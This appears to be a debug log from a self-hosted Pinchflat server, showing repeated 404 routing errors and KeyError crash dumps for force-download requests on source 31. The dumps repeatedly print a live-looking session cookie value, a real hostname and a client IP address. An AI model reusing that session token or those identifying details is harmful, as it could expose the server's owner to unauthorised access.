"source_metadata" AS s0 WHERE (s0."source_id" = ?) [31] 04:53:45.505 [debug] QUERY OK source="media_metadata" db=0.1ms idle=16.8ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [141520] 04:53:45.506 [info] Sent 200 in 73ms 04:53:45.582 [info] GET /sources/31/force_download_pending 04:53:45.582 [debug] QUERY OK source="settings" db=0.1ms idle=93.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:45.582 [debug] QUERY OK source="settings" db=0.1ms idle=93.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:45.583 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:53:45.583 [error] #PID<0.139219.0> running PinchflatWeb.Endpoint (connection #PID<0.139105.0>, stream id 7) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /sources/31/force_download_pending ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/31/force_download_pending (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139105.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/31/force_download_pending", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 48150}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "65.21.124.77", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "65.21.124.77" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 7, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM" }, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.139219.0>, params: %{}, path_info: ["sources", "31", "force_download_pending"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM"}, {"host", "pinchflat.ocaff.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "65.21.124.77"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "65.21.124.77"} ], request_path: "/sources/31/force_download_pending", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXU0eDxS5bkDP4AABzI"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139105.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/31/force_download_pending", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 48150}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "65.21.124.77", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "65.21.124.77" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 7, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/31/force_download_pending (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139105.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/31/force_download_pending", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 48150}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "65.21.124.77", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "65.21.124.77" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 7, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3 (truncated) 04:53:45.646 [info] GET /sources/31/force_redownload 04:53:45.647 [debug] QUERY OK source="settings" db=0.3ms idle=156.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:45.647 [debug] QUERY OK source="settings" db=0.3ms idle=142.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:45.648 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:53:45.649 [error] #PID<0.139220.0> running PinchflatWeb.Endpoint (connection #PID<0.139105.0>, stream id 8) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /sources/31/force_redownload ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/31/force_redownload (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139105.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/31/force_redownload", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 48150}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "65.21.124.77", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "65.21.124.77" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 8, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM" }, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.139220.0>, params: %{}, path_info: ["sources", "31", "force_redownload"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM"}, {"host", "pinchflat.ocaff.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "65.21.124.77"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "65.21.124.77"} ], request_path: "/sources/31/force_redownload", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXU0eTAX9CXuwEAABzo"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139105.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/31/force_redownload", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 48150}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "65.21.124.77", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "65.21.124.77" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 8, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/31/force_redownload (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139105.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/31/force_redownload", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 48150}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "65.21.124.77", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "65.21.124.77" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 8, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM" }, halte (truncated) 04:53:45.736 [info] GET /sources/31/force_download_pending 04:53:45.737 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=231.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:45.738 [debug] QUERY OK source="settings" db=0.3ms idle=155.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:45.738 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:53:45.739 [error] #PID<0.139221.0> running PinchflatWeb.Endpoint (connection #PID<0.139184.0>, stream id 14) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /sources/31/force_download_pending ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/31/force_download_pending (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139184.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/31/force_download_pending", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 48178}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "65.21.124.77", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "65.21.124.77" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 14, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM" }, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.139221.0>, params: %{}, path_info: ["sources", "31", "force_download_pending"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM"}, {"host", "pinchflat.ocaff.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "65.21.124.77"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "65.21.124.77"} ], request_path: "/sources/31/force_download_pending", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXU0eolwmVlgTUADDKi"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139184.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/31/force_download_pending", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 48178}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "65.21.124.77", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "65.21.124.77" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 14, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/31/force_download_pending (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139184.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/31/force_download_pending", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 48178}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "65.21.124.77", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "65.21.124.77" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 14, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFyS (truncated) 04:53:45.791 [info] GET /sources/31/force_redownload 04:53:45.793 [debug] QUERY OK source="settings" db=0.3ms idle=209.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:45.793 [debug] QUERY OK source="settings" db=0.3ms idle=146.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:45.794 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:53:45.794 [error] #PID<0.139222.0> running PinchflatWeb.Endpoint (connection #PID<0.139184.0>, stream id 15) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /sources/31/force_redownload ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/31/force_redownload (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139184.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/31/force_redownload", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 48178}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "65.21.124.77", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "65.21.124.77" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 15, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM" }, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.139222.0>, params: %{}, path_info: ["sources", "31", "force_redownload"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{ "_pinchflat_key" => 